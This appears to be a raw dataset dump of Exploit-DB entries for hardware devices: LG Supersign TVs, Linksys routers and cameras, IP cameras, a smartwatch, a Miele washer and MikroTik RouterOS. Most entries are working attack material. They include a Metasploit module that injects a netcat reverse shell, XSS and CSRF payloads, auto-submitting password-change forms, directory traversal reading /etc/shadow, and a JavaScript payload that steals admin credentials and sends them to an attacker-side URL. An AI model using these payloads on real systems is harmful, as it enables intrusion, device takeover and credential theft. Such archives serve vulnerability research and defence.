deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46795
Description: LG Supersign EZ CMS - Remote Code Execution (Metasploit)
Type: remote
Platform: hardware
Date: 2019-05-06
Author: Alejandro Fanjul

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
        'Name'        => 'LG Supersign EZ CMS RCE',
        'Description' => %q{
            		  LG SuperSignEZ CMS, that many LG SuperSign TVs have builtin, is prone
                          to remote code execution due to an improper parameter handling
        },
        'Author'      => ['Alejandro Fanjul'],
        'References'  =>
          [
            [ 'CVE', '2018-17173' ],
            [ 'URL', 'https://mamaquieroserpentester.blogspot.com/2018/09/lg-supersign-rce-to-luna-and-back-to.html']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'PAYLOAD' => 'cmd/unix/reverse_netcat'
          },
        'Arch'           => ARCH_CMD,
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'netcat'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Sep 21 2018'
      )
     )
     register_options(
      [
         OptString.new('RPORT',[true,'Target port','9080'])
      ], self.class)

  end


  def exploit
    lhost=datastore['LHOST']
    lport=datastore['LPORT']
    #uri = target_uri.path
    cmd = Rex::Text.uri_encode(payload.encoded)
    connect
    res = send_request_raw({
        'method'=>'GET',
        'uri'=>"/qsr_server/device/getThumbnail?sourceUri='%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20"+lhost+"%20"+lport.to_s+"%20%3E%2Ftmp%2Ff;'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=[PII_REDACTED]50"
        
    })    
    handler
    disconnect

  end

end
Exploit-DB #22480
Description: Linksys BEFVP4 - SNMP Community String Information Disclosure
Type: remote
Platform: hardware
Date: 2003-04-09
Author: Branson Matheson

Exploit:
source: https://www.securityfocus.com/bid/7317/info

Linksys BEFVP4 VPN router has been reported prone to a sensitive information disclosure vulnerability.

It has been reported that SNMP community strings which, are world readble by default, contain sensitive information pertaining to the internal protected network.

Data collected in this manner may be used in further attacks against the victim network.

It should be noted that this issue has also been reported to affect the Linksys BEFSR81 appliance. 

snmpwalk -v 1 -c public {ip}
Exploit-DB #30650
Description: Linksys SPA941 - 'SIP From' HTML Injection
Type: remote
Platform: hardware
Date: 2007-10-09
Author: Radu State

Exploit:
source: https://www.securityfocus.com/bid/25987/info

Linksys SPA941 devices are prone to an HTML-injection vulnerability because the built-in webserver fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Linksys SPA941 devices with firmware version 5.1.8 are vulnerable; other versions may also be affected.

INVITE sip:h@192.168.1.3 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.9:5060;rport
To: sip:h@192.168.1.3
From: "<script>alert('hack')</script>""natraj" <sip:natraj@loria.fr>;tag=002f000c
Call-ID: 401010907@192.168.1.9
CSeq: 4857 INVITE
Content-Type: application/sdp
Subject: sip: natraj@loria.fr
Contact: "natraj" <sip:192.168.1.9:5060;transport=udp>
Content-Length: 214

v=0
o=root 47650 47650 IN IP4 192.168.1.9
s=session
c=IN IP4 192.168.1.9
t=0 0
m=audio 5070 RTP/AVP 3 0 110 5
a=rtpmap:3 GSM/8000/1
a=rtpmap:0 PCMU/8000/1
a=rtpmap:110 speex/8000/1
a=rtpmap:5 DVI4/8000/1
Exploit-DB #30254
Description: Linksys WAG54GS 1.0.6 (Wireless-G ADSL Gateway) - 'setup.cgi' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-06-27
Author: Petko Petkov

Exploit:
source: https://www.securityfocus.com/bid/24682/info

Linksys Wireless-G ADSL Gateway is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

Attackers may exploit this issue by enticing victims into opening a malicious URI.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials, cause denial-of-service conditions, and launch other attacks.

Successful exploits will allow script code to be stored persistently in the affected device.

Linksys Wireless-G ADSL Gateway WAG54GS running firmware V1.00.06 is reported vulnerable. 

http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin& sys[CREDENTIAL_REDACTED]=admin&remote_management=enable&http _wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged= yes&h_remote_management=enable&c4_trap_ip_=">
Exploit-DB #34182
Description: Linksys WAP54Gv3 Wireless Router - 'debug.cgi' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2010-06-23
Author: Cristofaro Mune

Exploit:
source: https://www.securityfocus.com/bid/41061/info

Linksys WAP54Gv3 Wireless Router is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attackers may exploit this issue by enticing victims into visiting a malicious site.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following firmware versions are vulnerable:

3.05.03 (Europe)
3.04.03 (US) 

The following example input to the vulnerable parameter is available:

echo "&lt;/textarea&gt;<script>alert('XSS');</script>"
Exploit-DB #23721
Description: Linksys WAP55AG 1.0.7 - SNMP Community String Insecure Configuration
Type: remote
Platform: hardware
Date: 2004-02-18
Author: NN Poster

Exploit:
source: https://www.securityfocus.com/bid/9688/info

Linksys WAP55AG appliance has been reported prone to an insecure default configuration vulnerability.

It has been reported that all SNMP MIB (Management Information Base) community strings, even read/write strings may be disclosed to a remote attacker if the attacker makes certain queries to the affected appliance.

An attacker may disclose sensitive information in this manner. Although unconfirmed, it may also be possible for the attacker to manipulate the appliance configuration through writeable strings.

Querying OID:
1.3.6.1.4.1.3955.2.1.13.1.2.

1.3.6.1.4.1.3955.2.1.13.1.2.1 = STRING: "public"
1.3.6.1.4.1.3955.2.1.13.1.2.2 = STRING: "private"
Exploit-DB #25359
Description: Linksys WET11 - Password Update Remote Authentication Bypass
Type: remote
Platform: hardware
Date: 2005-04-07
Author: Kristian Hermansen

Exploit:
source: https://www.securityfocus.com/bid/13051/info

A remote authentication bypass vulnerability affects Linksys WET11. This issue is due to a failure of the application to validate authentication credentials when processing password change requests.

An attacker may leverage this issue to arbitrarily change the administration password of an affected device, facilitating a complete compromise of the device. 

http://www.example.com/changepw.html?data=........................
Exploit-DB #32599
Description: Linksys WRT160N - 'apply.cgi' Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2008-11-27
Author: David Gil

Exploit:
source: https://www.securityfocus.com/bid/32496/info

Linksys WRT160N is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attackers may exploit this issue by enticing victims into opening a malicious URI.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials, cause denial-of-service conditions, and launch other attacks. 

http://www.example.com/apply.cgi?submit_button=DHCP_Static&action=--%3E%3CScRiPt%20%0A%0D%3Ealert[PII_REDACTED]33)%3B%3C%2FScRiPt%3E&wait_time=0&forward_single=15
Exploit-DB #32931
Description: Linksys WRT54GC 1.5.7 Firmware - 'administration.cgi' Access Validation
Type: remote
Platform: hardware
Date: 2009-04-20
Author: Gabriel Lima

Exploit:
source: https://www.securityfocus.com/bid/34616/info

The Linksys WRT54GC router is prone to an access-validation vulnerability because of a lack of authentication when users access specific administration applications.

Successful attacks will lead to a compromise of the vulnerable device, which may lead to further attacks.

Linksys WRT54GC running firmware 1.05.7 is vulnerable; other versions may also be affected.

<html><body> <form method="POST" action="http://IP_ADDRESS:8080/administration.cgi" name="senha" ENCTYPE="multipart/form-data"> <INPUT type="hidden" name="sysPasswd" value="12345" maxLength=20 size=21> <INPUT type="hidden" name="sysConfirmPasswd" value="12345" maxLength=20 size=21> </form> <!-- C?digo de envio autom?tico do formul?rio --> <SCRIPT language="JavaScript"> document.senha.submit(); </SCRIPT>
Exploit-DB #37141
Description: Linksys WRT54GL Wireless Router - Cross-Site Request Forgery
Type: remote
Platform: hardware
Date: 2012-05-08
Author: Kalashinkov3

Exploit:
source: https://www.securityfocus.com/bid/53427/info

The Linksys WRT54GL router is prone to a cross-site request-forgery vulnerability.

Successful exploits may allow attackers to run privileged commands on the affected device, change configuration, cause denial-of-service conditions, or inject arbitrary script code. Other attacks are also possible. 

submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=0&wait_time=4&need_reboot=0&http_passwd=YOUR PASSWORD&http_passwdConfirm=YOUR PASSWORD&_http_enable=1&web_wl_filter=0&remote_management=0&upnp_enable=1
Exploit-DB #32954
Description: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-04-23
Author: pagvac

Exploit:
source: https://www.securityfocus.com/bid/34713/info

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 

http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd
Exploit-DB #32955
Description: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-04-25
Author: pagvac

Exploit:
source: https://www.securityfocus.com/bid/34714/info

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable. 

http://www.example.com/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e
http://www.example.com/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E
http://www.example.com/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E
http://www.example.com/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E


// evil.js : malicious JS file, typically located on attacker&#039;s site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) { 
			var bits=req.responseText.split(/\"/);	
			var gems="";
			// dirty credentials-scraping code
			for (i=0;i<bits.length;++i) { 
                                if(bits[i]=="adm" && bits[i+1]==" value=") {      
                               		gems+="login="; 
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {      
                                       	gems+=&#039;&password=&#039;; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src=&#039;http://www.example.com/x.php?&#039;+gems; // URL should point to data-theft script on attacker&#039;s site
        	} 
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);
Exploit-DB #43693
Description: Master IP CAM 01 - Multiple Vulnerabilities
Type: remote
Platform: hardware
Date: 2018-01-17
Author: Raffaele Sabato

Exploit:
# Exploit Title: Master IP CAM 01 Multiple Vulnerabilities
# Date: 17-01-2018
# Remote: Yes
# Exploit Authors: Daniele Linguaglossa, Raffaele Sabato
# Contact: https://twitter.com/dzonerzy, https://twitter.com/syrion89
# Vendor: Master IP CAM
# Version: 3.3.4.2103
# CVE: CVE-2018-5723, CVE-2018-5724, CVE-2018-5725, CVE-2018-5726

I DESCRIPTION
========================================================================
The Master IP CAM 01 suffers of multiple vulnerabilities:

# [CVE-2018-5723] Hardcoded Password for Root Account
# [CVE-2018-5724] Unauthenticated Configuration Download and Upload
# [CVE-2018-5725] Unauthenticated Configuration Change
# [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure


II PROOF OF CONCEPT
========================================================================

## [CVE-2018-5723] Hardcoded Password for Root Account

Is possible to access telnet with the hardcoded credential root:cat1029


## [CVE-2018-5724] Unauthenticated Configuration Download and Upload

Download:

http://192.168.1.15/web/cgi-bin/hi3510/backup.cgi

Upload Form:

### Unauthenticated Configuration Upload
<form name="form6" method="post" enctype="multipart/form-data"
action="cgi-bin/hi3510/restore.cgi" >
<input type="file" name="setting_file" >
<input type="submit" value="restore" >
</form>


## [CVE-2018-5725] Unauthenticated Configuration Change

Change configuration:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport&-httport=8080

List of available commands here:
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf


## [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure

Retrieve sensitive information:

http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser


III REFERENCES
========================================================================
http://syrion.me/blog/master-ipcam/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5723
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5724
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5725
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5726
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf
Exploit-DB #51850
Description: Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated)
Type: remote
Platform: hardware
Date: 2024-03-03
Author: Alok kumar

Exploit:
# Exploit Title: Maxima Max Pro Power - BLE Traffic Replay (Unauthenticated)
# Date: 13-Nov-2023
# Exploit Author: Alok kumar (alokkumar0200@gmail.com), Cyberpwn Technologies Pvt. Ltd.
# Vendor Homepage: https://www.maximawatches.com
# Product Link: https://www.maximawatches.com/products/max-pro-power
# Firmware Version: v1.0 486A
# Tested on: Maxima Max Pro Power
# CVE : CVE-2023-46916

# It was observed that an attacker can send crafted HEX values to “0x0012” GATT Charactristic handle on the watch to perform unauthorized actions like change Time display format, update Time, update notifications.
# And since, there is no integrity check for data received by the watch, an attacker can sniff the same value on smartwatch A, which later can be sent to smartwatch B leading unauthorized actions


# Scan for bluetooth LE devices nearby using any capable scanner, bluetoothctl is used in this “sudo bluetoothctl scan le”

# “sudo gattool -I” Starts gattool in interactive mode.

# “connect <MAC_OF_DEVICE_FROM_STEP_1>” Connects to the specified BLE device.

# “char-desc” Lists all handles for the device.

# Run “mtu 247” in Gatttool after connection to set MTU for active connection.

# Run “char-read-hnd 0x0054” in Gatttool. Trust And Authorize the device on attacker's machine when prompted.

# "char-write-req 0x0012 ab00000e[PII_REDACTED]002b[PII_REDACTED]059fffffffff" disables Raise to wake feature.

# "char-write-req 0x0012 ab00000ec42f002302002b[PII_REDACTED]059fffffffff" enables Raise to wake feature.

# "char-write-req 0x0012 ab000009c2ee[PII_REDACTED][PII_REDACTED]01" starts Heart Rate monitor

# "char-write-req 0x0012 ab000007c[PII_REDACTED][PII_REDACTED]2" sets Time Format to 24 Hrs on smartwatch.

# "char-write-req 0x0012 ab[PII_REDACTED][PII_REDACTED]00020006" sets Time Format to 12 Hrs on smartwatch.
Exploit-DB #41718
Description: Miele Professional PG 8528 - Directory Traversal
Type: remote
Platform: hardware
Date: 2017-03-24
Author: Jens Regel

Exploit:
Title:
======
Miele Professional PG 8528 - Web Server Directory Traversal

Author:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2017-7240

Risk Information:
=================
Risk Factor: Medium
CVSS Base Score: 5.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C
CVSS Temporal Score: 3.9

Timeline:
=========
2016-11-16 Vulnerability discovered
2016-11-10 Asked for security contact
2016-11-21 Contact with Miele product representative
2016-12-03 Send details to the Miele product representative
2017-01-19 Asked for update, no response
2017-02-03 Asked for update, no response
2017-03-23 Public disclosure

Status:
=======
Published

Affected Products:
==================
Miele Professional PG 8528 (washer-disinfector) with ethernet interface.

Vendor Homepage:
================
https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528

Details:
========
The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks.

Proof of Concept:
=================
~$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character ist '^]'.
GET /../../../../../../../../../../../../etc/shadow HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2016 11:58:50 GMT
Server: PST10 WebServer
Content-Type: application/octet-stream
Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT
Content-disposition: attachment; filename="./etc/shadow"
Accept-Ranges: bytes
Content-Length: 52

root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::

Fix:
====
We are not aware of an actual fix.
Exploit-DB #28056
Description: MikroTik RouterOS - sshd (ROSSSH) Remote Heap Corruption
Type: remote
Platform: hardware
Date: 2013-09-03
Author: kingcope

Exploit:
During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component.

Exploitation of this vulnerability will allow full access to the router device.

This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS
using the /etc/devel-login file. This is done by forging a modified NPK file using a correct signature and logging
into the device with username ‘devel’ and the password of the administrator. This will drop into a busybox shell for
further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox
platform.

Shodanhq.com shows >290.000 entries for the ROSSSH search term.

The 50 megs Mikrotik package including the all research items can be downloaded here: 

http://www.farlight.org/mikropackage.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28056.zip